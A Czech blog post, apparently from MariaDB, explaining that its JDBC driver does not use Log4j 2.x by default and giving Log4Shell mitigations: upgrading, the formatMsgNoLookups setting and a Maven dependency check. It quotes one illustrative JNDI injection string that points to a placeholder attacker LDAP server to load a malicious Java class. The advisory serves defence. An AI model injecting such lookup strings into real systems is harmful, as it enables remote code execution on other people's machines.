sql >> Databáze >  >> RDS >> MariaDB

Je ovladač MariaDB JDBC ovlivněn zranitelností Log4j?

Je konektor MariaDB Java ovlivněn zranitelností zabezpečení nedávno objevenou v Log4? Ve výchozím nastavení konektor Java nepoužívá Log4j. Pokud jste jej však nakonfigurovali pro použití SLF4j, pokračujte ve čtení.

Chcete-li získat informace nad rámec ovladače MariaDB JDBC, přečtěte si Log4Shell a MariaDB.

Poznámka :Tento blog byl aktualizován 15. 12. 2021, aby obsahoval podrobnosti týkající se CVE-2021-45046.

Chyba zabezpečení Log4j

Apache Log4j je populární open-source protokolovací framework pro Java aplikace. Používá se v různých open-source a podnikových projektech, včetně cloudových prodejců a poskytovatelů e-mailových služeb. 9. prosince 2021 byla v Log4j nalezena 0denní zranitelnost, která by mohla vést ke vzdálenému spuštění kódu, což hackerovi umožní spustit libovolný kód v systému. Tato chyba zabezpečení je známá jako „Log4Shell“ a je sledována jako CVE-2021-44228.

Stručně řečeno, zranitelnost umožňuje útočníkovi vložit vyhledávací řetězec JNDI, který vyvolá například vzdálený server LDAP (kontrolovaný útočníkem), který zase vrátí škodlivou třídu Java:

${jndi:ldap://[attacker_site]/[malicious_java_class]}

Pokud Log4j zaprotokoluje řetězec, jako je tento, může škodlivá třída Java spustit libovolný kód (například prostřednictvím statického bloku kódu).

Dotčené verze

Naštěstí jsou ovlivněny pouze verze Log4j 2.x před 2.15.0. Další informace najdete na stránce s chybami zabezpečení Apache Log4j. Tato chyba zabezpečení se nevyskytuje ve verzi Log4j 1.x.

Jak zmírnit CVE-2021-44228

Nejlepší strategií ke zmírnění zranitelnosti je aktualizovat závislost Log4j ve vašich projektech. Verze 2.16.0, která odstraňuje vyhledávání zpráv, je již k dispozici. Rekvizity týmu za rychlé zveřejnění.

Aktualizovat :Log4j 2.16.0 také opravuje druhou chybu zabezpečení sledovanou jako CVE-2021-45046.

Ovladač MariaDB JDBC nepoužívá Log4j 2.x. Podporuje však SLF4J. Zkontrolujte, zda používáte modul Log4j pro SLF4J, a pokud ano, aktualizujte Log4j odpovídajícím způsobem nebo nastavte následující konfigurační proměnnou:

-Dlog4j2.formatMsgNoLookups=true

Nebo nastavte následující proměnnou prostředí:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Poznámka :Protokolování je povoleno pouze v případě, že je explicitně nastaveno v log parametr. Kromě Log4j se můžete také rozhodnout pro další vazby SLF4J, jako je Jakarta Commons Logging, Logback nebo Java Logging API.

Pokud používáte Maven, můžete spustit následující příkaz a zjistit, zda váš projekt závisí na Log4j:

mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core

Zde je příklad druhu výstupu, který získáte ve zranitelném projektu:

Pokud se váš projekt z nějakého důvodu nezkompiluje, můžete alternativně spustit:

mvn help:effective-pom

Vyhledejte log4j-core závislost a zkontrolujte použitou verzi.

Další informace

Seznam odkazů v blogu:

  • MariaDB Java konektor
  • SLF4j
  • Související blog Log4Shell a MariaDB
  • CVE-2021-44228
  • Chyby zabezpečení Apache Log4j
  • Apache Log4j verze 2.16.0
  • log parametr

  1. Jak psát vybraná prohlášení

  2. 2ndQuadrant na PostgresConf USA 2018

  3. Vytvoření propojeného serveru ODBC bez konfigurace zdroje dat

  4. Vyloučit sloupec pomocí SELECT * [kromě sloupceA] FROM tableA?